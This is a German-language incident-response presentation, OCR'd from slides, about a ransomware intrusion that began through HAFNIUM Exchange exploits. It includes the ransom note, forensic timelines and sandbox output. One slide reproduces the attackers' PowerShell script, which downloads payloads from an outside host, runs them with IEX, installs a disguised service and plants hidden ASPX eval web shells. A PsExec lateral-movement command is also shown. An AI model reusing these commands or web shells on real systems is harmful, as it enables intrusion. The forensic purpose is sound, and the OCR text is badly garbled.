78 BEE SECURITY

FACHKRAFTE?

Auch Cyberkriminelle sind nicht immer die
Spezialisten, die sie gerne waren...
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HAFNIUM targeting Exchange Servers with 0-day exploits

Microsoft has detected multiple 0-day exploits being used to attack on-premises versions of Microsoft
Exchange Server in limited and targeted attacks. In the attacks observed, the threat actor used these
vulnerabilities to access on-premises Exchange servers which enabled access to email accounts, and
allowed installation of additional malware to facilitate long-term access to victim environments.
Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM,
a group assessed to be state-sponsored and operating out of China, based on observed victimology,

tactics and procedures.

The vulnerabilities recently being exploited were CVE-2021-26855, CVE-2021-26857, CVE-2021-26858,

0
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TeslaRVNG2

+ 1o one ebe can heb you ,don't waste your busiess tme

» you ask for proof that we have your data /and you can see our ol target that ther data have been pubkshed
» {not pad after 12days Google your Campany Name and you wi see your pvate and custorres data i t

here ,happy wll kegal and bussiness chakenges of data kak after
« for decrypton anyone/any company offermg help wl get extra fee

some tmes even more than ours!) added to ours or smply wil scam you (dont pay us after getting test fie, ke and scam you) so f you want a Intermedary chose a trusted one to avod scams ,
and get your data

» for decryption you send a few Sample fies for test before any payment

* W wort be avaiabl for bng

» DONT DELETE FILES AT c:\teslarvng?

+ dont play wth encrypted fies that wil cormupt them and make unvecoverable.

» due raas{t means the emal you tak wl gve percentage to devs ) to avod scam never pay anyone

whout testfie (us or any deaker) never ever pay outsde of th 2 em
FILE ;scam can't happen f this tps are folowed .

als, ONLY PAY TO THE WALLET ADDRESS YOU RECEIVE WITH DECRYPTED SAMPLE
use google translate (F you don't know englsh)

Ende April 2021
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ClOp als “Referenz” -
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Chat Demo decrypt Buy Bitcoin News About Us

To recover all files on your network
and prevent data leaks, you need to

pay a fee.
ations and discuss
sorry we dont wan't to tell you our details
company name. Because we don't know if To see how to buy the bitcoins, click Buy Bitcoins at
you really hacked us. We are not -
encrypted! ‘

S SO that you can

Click Demo decrypt at the menu on top of this the
page to decrypt some files for free

Type a message

Moderne Cryptolocker haben eigentlich oft einen bessere “Customer Support”
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B Beginn der Analysen :

VI 0 WINAOws KO 3Z2DIL ReTurpisner

Organisieren « Freigeben fur Brennen

Name

P Favoniten Anderungsdatum Grolle
Bl Desktop - Message 2021, msg  29.04.2021 07:22 Outlook-Element 3.638 KB
& Downloads o kbench.msg 29.04.2021 07:22 Outlook-Element 583 KB
ls4 RecentPlaces 29.04.2021 07:22 Textdokument 10 KB
= inbindung per DH 29.04.2021 O7:22 Textdokument LK8
~% Bibliotheken = pdf 29.04.2021 07:22 PDF24 Réader * 466 KB
@) Documents 1= Sdn.bd 29.04.2021 07:22 Textdokument 2KB
5 Music a 021 xdsx 2904.2021 07:22 . Micgosgft Becek-Ar... 1298
@) Pictures = slisten, txt 20:04.2021 07;22 Textdokument! 'y T KB
@)l Videos 37 ur,docx 29.04.2021 06:31 Microsoft Word=Pa, 2083'KB
g de17, - 18. April20..  29.04.2021 06:31 Microseft Exce[-Ar . 9K8
& Computer = 29,04,2021 06:3% Testdokdmeént 2KB
™ 29,04.2021 06:31 XML-Dokurmient 8 KE |
t‘lp Netzwerk f 224-0-0 13042021.x... 29042021 06:31 AML-Dokurnent | 94958
g 29.04 2021 06:31 MiC rasoft ExcelsAr, . 4 14 KB
= upportability matrix... 29.04.2021 06:31 PPF24 Repder 169 KB
£ cturierung, txt 29.04.2021 06:31 Textdokumént 2'K8

In Bibliothek autnehmen =

Ausgangspunkt: ein verschlusselter PC

Typ

Bas 3
Neuer Ordner ==Y il
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Toolset: Winsch dir was ;-) -

[ ] [ ] []3 ~ ( 'J 0 euce1-110-nfr.sentinelone.netfincidents/threats/1506451815265369254/overview @& ¢ (D d] + “::

SON Vie..tifier Online  Google Maps

tDBs v  Micr

Linkedin BeeShell C&C rface Google Maps XING FARK. ft SH...Studio&qui

hreats / Lebenslauf EXPLORE

Threat Starws: NOT MITIGATED ce Level: SUSPICIOUS | & ue Positive ~

| nccent satus: | Resolved v @ Identified Time Sep 10, 2022 14:10:49
Reporting Time Sep 10, 2022 14:10:50

Mo actions taken yet

[ Export 429 [ ] il
Processés 4
DESKTOP-1E4N0O1C
‘ Q Search Process
Process Pid Date
WINWORD.EXE .. 16536 Sep 10, 2022 14:10:48
. cscexe
conhost.exe 2520 Sep 10, 2022 14:10:49 . One Child +
powershell.exe (.. 9060 Sep 10, 2022 14:10:49 WINWORD.EXE L d powershell.exe (CLI... _\ _ _~
One Ch \ Events: 2 J
cscexe 9408 Sep 10, 2022 14:10:51
-~ conhost.exe
cvtres.exe 11480 Sep 10, 2022 14:10:51 Single Node
START END

Sep10,202214:10:48 @ # # & o # & ¢ 4 & 64 5 £ 4 8 F 8 B EE B EE B EEE EEE EEE BB E BB E BB P B S EEEEE A B EEEEE B EE B P B ERE RN SN EEEEE Rt R e s s ee e e s @ Sepll 2022141051

Showing all events for the current threat
512 X

- - [o— . LI _ = N . A -
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Toolset .

Verschlusselte
Rechner

|:| Skadi VM

Timeline mit

« Windows Events
Filesystem

MRU

=y
Datenauswertung
[ —] mit CDQR

Datensammlung
mit Cylr



B Wo fangen wir an?

Organisieren «

¢ Favonten
Bl Desktop
& Downloads

/<l RecentPlaces

++ Bibliotheken
@)l Documents
@) Music
@) Pictures

mi Videos
& Computer

€ Netzwerk

In Bibliothek autnehmen =

Name

Freigeben fur

Brennen

Anderungsdatum

Message 2021,msg  29.04.2021 07:22
29,04 2021 07,22
29,04.2021 07:22
29.04.2021 O07:22
pdf 29.04:2021 07:22
Sdn.txt 29.04:2021 07:22
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224-0-0 13042021 x...

upportability matrix,..

cturerung, txt

Typ

Neuer Ordner

Outlook-Element
Outlock-Element
Textdekument
Textdokument
PDF24 Reader

Textdokument

Micsosoft Excel-Ar...

Textdokument

Microsoft Word=BPa.

Microsofi Excel,‘- A

Textdokdment
XML-Dokument

XML-Dokument

MiCrosoft ExcelsAr, ) 4

PPF24 Regder

Textdokumént

x O WINAOWS

78V BEE SECURITY

IO 32D

Grille

3.638 KB
537Ke
10 K8
1.KB
* 46 k8
2KB
129KB
1 KB
S083'KB
9KH
2KB
278 KE |
dads'kh
14 KB
169 KE
2k

Millionen Logzeilen... Welche ist die Richtige?
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3 Gefunden! .

H ©- s Mappe2 - Excel
Datei Start Einfogen Seitenlayout Formein Daten Ubesprafen Ansicht Hilfe Entwurf Abfrage Q Was mochten Sie tun?
Tabellenname f| Mit Divot Table zusammenfassen E —7 ) 7] Eigenschaften | Koplzele | Erste Spalte 1] Schaltflache "Filter ——— e EEEEE
| L1 | &2 TR | TR e R A e [ e oo B R o s | i - -
PC_082 SuperTimeline (| 8 Duplikate entfernen el e 2] Ergebniszeile W L ] e R R | S | ===
- = ] 2 Datenschnitt  Exportieren Aktuahsieren = : S o | 2223 ===
‘[ Tabellengrofie andern | 5= In Bereich konvertieren cinfugen - - €2 Verknbpfung aufhebeg = b e e I
Eigenschallen Tools Externe Tabellendaten A
K818054 v Je [4624 / 0x1210] Source Name: Microsoft-Windows-Security-Auditing Strings: ~
'0x0000000024b:c592f" '3' 'NiLmSsp ' 'NTLM' ‘DCO1" '{00000000-0000-0000-004 ; g Record

Number: 330756 Event Level: 0

dat Ttime |~ type Y| desc [a
817626 04/29/2021 03:24:06 Content Modification Time; Creation Time [4733 / Ox \Apps\CDAR\Res{
817627 04/29/2021 03:24:08 Creation Time [4733 ] Ox \Apps\CDQR\Rest
817629 04/29/2021 03:24:13 Creation Time [4735 [ Ox1 \Apps\CDOR\Rest
817631.04/29/2071 03:24:14 Creation Time [4732 / ox1 ’\AppS\CDQR\RESI_
817633 04/29/2021 03;24:15 Content Modification Time; Creation Time [4735 / Ox1 \Apps\CDAR\Res(
817634 04/23/2021 03:24:16 Content Mcdification Time; Creation Time [4732 / Ox \Apps\CDAR\Rest

818041 04/29/2021 04:36:10 Creation Time [4624 / Ox \Apps\CDAR\Rest

U = o ne SD E iYa]a UL

03 30!

04:47:48 Content Modification Time; Creation Time \Apps\CDOR\Res(
04:47:43 Content Modification Time; Creation Time \Aops\CDAR\Rest

5 104/ 29/ 20 04:52:09 Content mModification lime; Creation 1ime 1 VADPS\CDUR\RES|
818255 04/29/2021 04:55:21 Content Modification Time; Creation Time [4624 [ Ox \Apps\COQR\Resy
818256 04/29/2021 04:55:21 Content Modification Time; Creation Time [4672 [ Ox1 ‘ \Apps\CDQR\Res@
818275 04/29/2021 04:59:45 Creation Time [4634 [ Ox1 \Apps\CDQR\Res(
818325 04/29/2021 05:04:46 Content Modification Time; Creation Time [5312 / Ox1 \Apps\CDAR\Rest

818330 04/23/2021  05:04:50 Creation Time (4016 / Ox0 \Apps\CDAR\Res(
$18350 04/29/2021  05:05:02 Creation Time [4733 [ Ox \Apps\CDAR\Rest
B18352 04/29/2021 05:05:02 Content Modification Time; Creation Time [4733/ 0x1 Ic “ B I “ nn“ “ Mnl WEG \Apps\CDQR\Rest
818353 04/29/2021  05:05:06 Content Modification Time; Creation Time [4735 / ox1 v NaTTe W o - Ihe . BUBITET\Apps\CDOR\Res(
818354 04/29/2021 05:05:07 COntenl Mod-ﬁcauon Time; Creation Time [4732/0x127c] Source Name: Mctosofl Windows- Secunly Audmng S(rmg> ['-' 'S-1-5-21-30 2 0S:C: \Users\FIOnan Bogner\Apps\CDQR\Resl
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Weiter geht's am DCOI -

B windows T =181 x]
e A — =
'\ )vl |~ Computer v Lokaler Datentrager (C:) ~ Windows ~ v &3 I Windows durchsuchen @l
Organisieren v ., Offnen  InBibliothek aufnehmen v  Freigeben fir v  Neuer Ordner = v Ol @
- Pry A
< Favoriten Name Anderungsdatum Typ Grofe l,...
Bl Desktop [ | WindowsUpdate.log 29.04.2021 14:05 Textdokument 1.165KB
% Downloads || bootstat.dat 29.04.202113:58  DAT-Datei 66 KB

2| RecentPlaces
- Bibliotheken
1% Computer
&L, Lokaler Datentrager (C:)

Ca Volume (E:)

‘h Netzwerk

%) msvsc.dll

[@ logg.bat

[=5] msmpene86.exe

[ msmpene.exe

" PFRO.log
4 |iis7.log
|| certocm.log
|| certenroll.log
|| certmmc.log
[Q hh.exe

@ HelpPane.exe
ﬂ notepad.exe
|| ntbtlog. txt
£ win.ini

| IE11_main.log
| IE10_main.log
|| IE9_main.log

29.04.202109:35
28.04.2021 21:37

27.04.2021 13:51
27.04.2021 13:51
2021
05.04.2020 12:55
20.06.2019 19:22
28.03.2019 10:32
28.03.2019 10:32
18.04.2018 17:41
02.06.2017 10:10
0S.07.2015 19:57
28.07.2014 13:54
16.04.2014 17:24
16.04.2014 13:19
16.04.2014 12:34
16.04.2014 11:25

DMP-Datei
Anwendungserweit. ..

Windows-Batchdatei

Anwendung

Anwendung

extdokument
Textdokument
Textdokument

Textdokument
Textdokument

Anwendun;

Konfigurationseinst...
Textdokument
Textdokument

Textdokument

17KB
717KB
189 KB
238 KB
1KB
18 KB
16 KB
6 KB
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)
@ HAFNIUM als Einfallstor .
' inetsrv = = 18] xI
e\ )\7 ‘ + Computer ~ Lokaler Datentrager (C:) ~ Windows ~ System32 ~ inetsrv ~ v & | ot darchSiden @l
Organisieren v (=2 Offnen  Neuer Ordner = v 0 @
{ Favoriten Name Anderungsdatum ~ Typ Grabe I_A_
Desktop T3 MetaBase.xml 29.04.2021 14:01 XML-Dokument
9 Dosissonds B bd .bat 27.04.2021 03:46 Windows-Batchdatei

| RecentPlaces
2 Bibliotheken
1% Computer
ﬁ, Lokaler Datentrager (C:)

. Volume (E:)

Gh Netzwerk

1@ tight.msi

a c.psi

BB svchost.exe
tvnserver.exe
|%, w3ctrips.dil
|%)| rsca.dll

|%) rscaext.dll
|%| nativerd.dll
|% iisreg.dll

|%| iisres.dll

% iissyspr.dil

|%) iisutil.dl

|%| appobj.dll
(=] iissetup.exe
=] aspnetca.exe

(=] appcmd.exe

27.04.2021 03:45
23.04.2021 13:01
21.04.2021 23:38
17.12,2020 11:34
12.09.2019 05:44
12.09.2019 05:44
12.09.2019 05:44
12.08.2019 05:44
12.09.201% 05:44
12.09.2019 05:44
12.09.2019 05:44
12.09.2019 05:44
12.09.2019 05:44
12.09.2019 05:26
12,08.2019 05:26
12.09.2019 05:26

Windows Installer-P...

Windows PowerShel...

Anwendung

Anwendung

Anwendungserweit...
Anwendungserweit. ..
Anwendungserweit...
Anwendungserweit. ..
Anwendungserweit. ..
Anwendungserweit...
Anwendungserweit. ..
Anwendungserweit. ..

Anwendungserweit...

Anwendung
Anwendung

Anwendung




So viele Artefakte...

B Administrator: Windows PowerShell ISE

78V BEE SECURITY

Datei Bearbeiten Ansicht Tools Debuggen

O »

Add-Ons Hilfe

P B i~

runat=" server "=function Page_Load(){eval(Request[”code"],™
‘inetpub\wwwroot\aspnet_client)\js\demo\wanlins. —d
runat="server">function Page_Load(){eval(Request[
'Senv:exchangeinsta11pathkFrontendHHttpProxy\ecp\a
\inetpub\wwwroot\aspnet_client\js‘\demo\wanlins. aspx"

"Microsofts Defender Antivirus Network Inspection Service"
"Microsofts Defender Antivirus Network Inspection Service”

" n_m on_n

code"],"u

1 -urlcache -split -f http://t.hwgloan.com/dns dn.psi
2 -urlcache -split -f http t.hwgloan. com/m6. exe mé. exe
3 -urlcache -split -f http://t.hwgloan. com/svchost.dat svchost.exe
4 1.exe -w hidden -nop -c "IEX ((new-object net.webclient).downloadstring('dn.ps1'))"
5 #cmd /c delete Windowsm_Update
5 cmd /c svchost.exe install "Windowsm_Update"” "m6.exe"
7 cmd /c sc config "Windowsm_Update" DisplayName=
8 cmd /c sc description "Windowsm_Update”
9 cmd /c Set ProcessName=mé6.exe
10 cmd /c sc start "windowsm_Update"
11 md ”C \inetpub‘\wwwroot\aspnet_client js\demo”
12 md "Senv:exchangeinstallpath\Frontend\HttpProxy\ecp' autH“js'demo'
3 echo "http://localhost/#<script language="1Script"”
14 echo '"http://localhost/#<!--#include virtual="wanlin.txt"--»"|out-file 'C:
15 echo 'http://localhost/#<script language="JScript”
16 echo "http://localhost/#<!--#include virtual="wanlin.txt"--»"|out-file
17 #copy "C:\inetpub\wwwroot\aspnet_client\wanlin.aspx" "C:\
18
19 #copy "C:\inetpub\wwwroot\aspnet_client\wanlin.txt"” "C:\inetpub\wwwroot\aspnet_client)\js\demo\wanlin.txt"
20
21 attrib "C:\inetpub\wwwroot\aspnet_client\js" +s +h
22
23 attrib "C:\inetpub\wwwroot\aspnet_client\js\*" +s +h
24
25 attrib "C:\inetpub‘\wwwroot\aspnet_client'js\demo"
26
27 attrib "C:\inetpub\wwwroot\aspnet_client'js\demo\*
28 attrib "C:\inetpub‘\wwwroot\aspnet_client\wanlin=" +s +h
29
30 attrib "$env:exchangeinstallpath\Frontend\HttpProxy\ecpiauthljs" +s +h
31
32 attrib "Senv:exchangeinstalipath\Frontend\HttpProxy\ecp\authyjs\=" +s +h

U L1 - ' - - PR

-~
=N

PS C:\Windows\system32>

u"+"n"+"s"+

>

=12] x|

n"+"s"+"

| Backup-WebConfiguration

" gefehle X X
Module: | alle ] Aktuaiisieren
e |
Al -

Add-ADComputerServiceAccount
Add-ADDomainControllerPasswordReplicationPolicy
Add-ADFineGrainedPasswordPolicySubject
Add-ADGroupMember
Add-ADPrincipalGroupMembership
Add-BitsFile

Add-ClusterDisk
Add-ClusterFileServerRole
Add-ClusterGenericApplicationRole
Add-ClusterGenericScriptRole
Add-ClusterGenericServiceRole
Add-ClusterGroup
Add-ClusterNode
Add-ClusterPrintServerRole
Add-ClusterResource
Add-ClusterResourceDependency
Add-ClusterResourceType
Add-ClusterServerRole
Add-ClusterSharedVolume
Add-ClusterVirtualMachineRole
Add-Computer

Add-Content

Add-History

Add-JobTrigger

Add-Member

Add-PSSnapin

Add-Type

Add-WebConfiguration
Add-WebConfigurationLock
Add-WebConfigurationProperty
Add-WindowsFeature

B:
Backup-GPO




Und der AV?
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Windows-Sicherheit

{1 Startseite

O Viren- & Bedrohungsschutz
) Firewall- & Netzwerkschutz
B3 App- & Browsersteuerung

O Geritesicherheit

@ Einstellungen

DU INITHUCI rdnungy

0 Bedrohungen gefunden.

Dauer der Uberpriifung: 28 Sekunden
15856 Dateien Gberpriift.

Bedrohungen unter Quaranténe

Unter Quarantane gestellte Bedrohungen wurden
isoliert und an der Ausfihrung auf Ihrem Gerat
gehindert. Sie werden regelmagig entfernt.

Alle entfernen

Behavior:Win32/SuspExchgSession.E Schwerwiec

Details anzeigen

Wiederherstellen Entfernen

ExploitWin32/CVE-2021-31207.BSchwerwiegenc
. A

Details anzeigen

Wiederherstellen Entfernen

Symbolfoto!!!"elf
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Und der AV? .
WWARSSS2

Anti-Virus

PowerShell

Scripe ICH MUSS DEN KONTEXT
DER AV ALARME ANALYSIEREND

imgfiip.com

Exchange Backdoors
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ADb in die Sandkiste :

®@0® < Gl U & joesandbox.com ] th O (e

JESandbox

Analysis Report msmpene.exe

Overview
General Information Detection Signatures Classification
Sample msmpene.exe []
Name: Multi AV Scanner detection for s...
Analysis ID: 400417 D MALICIOUS Creates files in the recycle bin to ...
M ———— D Creates files inside the volume dr...
SHA1: e365a6acd90e... [1) é
<ll=r 11 Deletes shadow drive data (may ... - = e
SHA256:  970bfb978e16... [1) SUSFICIOUS Y
: ; Deletes the backup plan of Wind...
Infos: sy

CLEAN

May disable shadow drive data (...

Most interesting Screenshot:

s R BN Abnormal high CPU Usage

aa UNKNGYUN

R Creates COM task schedule obje...

san

— Creates a process in suspended ...

: : : Creates files inside the system di...

. Soore: s Deletes files inside the Windows ... [=r]
Range: 0-100
Whitelisted: false EnablesBreutyjpviieges
Confidence: 1009 Mav sleep (evasive loops) to hind
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®

started net scan (:)
finished net scan
started exploring on c (:)
- —=_has admin access
— has admin access <:>
[

started exploring on =SS0
started exploring on T s
started exploring on ——— == Se=m
started exploring on =77° .
started exploring on TEEEEEEESSSS
started exploring on ¥.C —
started exploring on S

started exploring on ===
started exploring on el
started exploring on EEE====———_

[..]

finished end-ing larges on IMI———_
finished end-ing vlrges on e
finished end-ing larges on =S s
finished end-ing lrgmkvs on =i ———
finished end-ing normalls on _.oo =" 0
finished end-ing vlrges on ===
finished end-ing larges on TSS===
finished end-ing lrgmkvs on Mm=—=—=== =%
[

Started Renaming (:)

b |

Started Noteing @

other minor things

readchedEnd

doing final jobs
waiting for network threads

®
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Lateral Movement 101/ 1 :

Wenn du auf einem DC bist, startest du keinen Netzwerkscan, sondern ...

-
I% DMS Manager [-:"_M

File Actior % DHCP Lo | B S|
p $ | File Action View Help B Active Directory Users and Computers
= L Rbeebhbibetebanpatd Sebtnddotonti i
e $$|E.|&&|EE File Action View Help
B % DHCP -
4 -ﬂ i 5 gaia.andmore.com | ’ * | [—| D l D CHE l . - l 3 &5 ? ’Q -
P Gl 4 i“’_‘*ﬂ l = Active Directory Users and Comput | Name Type ]
s [ Fo b 7] Scope [192168.8.0] Dex »
| v [T Re 5 [T Scope [192.168100.0] € E] ;‘, Saved Queries A< WIN2008-SVR Computer
| 2 » [ Scope[192168.1020]F | = 54 sbsfaqdemo.local {8 WIN2008R2-SVR  Computer
> B 4 ] Scope[192.168.104.0] F & | Buitin & WIN7PRO Computer
| 2 s i Address Pool ) (] Computers 1% WIN7PRO-REMOTE Computer
' i, | Address Leases | [+ ;_J Domain Controllers i
) P Gl [ Reservations “| ForeignSecurityPrincipals
DR g | vanagedsevee ccunts
g’ = CE il;vﬁ i 3| Microsoft Exchange Securit
| - :T | = &) MyBusiness
] [; E:I = 3] Computers
\ . E:I = J SBSComputers
= = | SBSServers
2| Distribution Groups |
+ 5 Security Grouns | | 1




Lateral Movement 101/ 1

78V BEE SECURITY

Aber wenn du unbedingt willst, mach es richtig!

DCI

File Server
192.168.1.23/16

= ]

=n
= GF
192.168.6.43/16
App Server
192.168.2.54/16 ~
o
IT Admin
- Buchhaltung 192.168.1.56/16
1—l|;| 192.168.1.54/16

Betriebsleiter
192.168.5.54/16

Firmennetzwerk: 192.168.1.1 - 192.168.255.255



N
. B 4
|
J

el

III:'I'IWEIIKTEBIIHIK IST DOGH GARNICHT KOMPLIZIERT

imgflip.com

Firmennetzwerk: 192.168.1.1 — 192.168.255.255
Portscanner der Ransomware: 192.168.1.1- 192.168.1.255
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®

started net scan (:)
finished net scan
started exploring on c (:)
- —=_has admin access
— has admin access <:>
[

started exploring on =SS0
started exploring on T s
started exploring on ——— == Se=m
started exploring on =77° .
started exploring on TEEEEEEESSSS
started exploring on ¥.C —
started exploring on S

started exploring on ===
started exploring on el
started exploring on EEE====———_

[..]

finished end-ing larges on IMI———_
finished end-ing vlrges on e
finished end-ing larges on =S s
finished end-ing lrgmkvs on =i ———
finished end-ing normalls on _.oo =" 0
finished end-ing vlrges on ===
finished end-ing larges on TSS===
finished end-ing lrgmkvs on Mm=—=—=== =%
[

Started Renaming (:)

b |

Started Noteing @

other minor things

readchedEnd

doing final jobs
waiting for network threads

®
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Lateral Movement101/2 -

Ich wusste nicht, dass es “falsches” Lateral Movement gibt...

start PsExec.exe -d @C:\share$\comps1.txt -u
Domain\Admin -p SecretPwd cmd /c
stargets = sarg: Gr\windows\temp\t3-270.exe

foreach (Stargei

(B Autoupdate Properties (Local Computer)

General Triggers Actions Conditions

When you create a task, you must specify

Action Details $PSScriptRox

T e sexe_rath_s: gfgrt PsExec.exe -d @C:\share$\comps2.txt -u

Sroot UNC =

sair pest = Domain\Admin -p SecretPwd cmd /c

$exe Path D

semd = sergt o:\windows\temp\t3-270.exe
| $Path_DESt_I

sexec resull gart PsExec.exe -d @C:\share$\comps3.txt -u
smmetnoc® Domain\Admin -p SecretPwd cmd /c

SWmiMethodA:

SWmiMethodA: A= :

mnenoan, Cl\windows\temp\t3-270.exe
SWmiMethodA:
SWmiMethodAr
SWmiMethodArgs[ 'EnableAllPrivileges'] = S$Strue
$WmiMethodArgs[ 'ArgumentList'] = $args[8]
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started net scan @ @

finished net scan
<t [7034/0x1b7a] Source Name: Service Control Manager Message string: The Bitdefender Endpoint Security Service service terminated

~ unexpectedly. It has done this 1 time(s). Strings: ['Bitdefender Endpoint Security Service' '1'] Computer Name: PC-082
- Number: 354702 Event Level: 2

[..]

started exploring on =TT
started exploring on TS
started exploring on s T ———
started exploring on ST S Sas—

started

exploring on

started exploring on NEssSSSS—————
started exploring on e —
started exploring on ===
started exploring on sme—_ 3
started exploring on EEE=——mme—

[..]

finished end-ing larges on Iw=——
finished end-ing vlrges on S e
finished end-ing larges on TEEEERESSSD
finished end-ing lrgmkvs on MEe———.
finished end-ing normalls on ..o = 0

finished end-ing vlrges on ——=»
finished end-ing larges on ===
finished end-ing lrgmkvs on === %

[-]
Started Renaming @

ll\

Started Noteing @

other minor things

readchedEnd

doing final jobs
waiting for network threads

E

Record

start lkdfis

finished end-ing smalls on disk -1(f)
finished lkds

Started Renaming

Started Noteing

other minor things
readchedEnd

doing final jobs
waiting for networklthreads
renaming network files
noting on network

the end :L
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I guessﬁndmg quallﬂed
jals is also difficult
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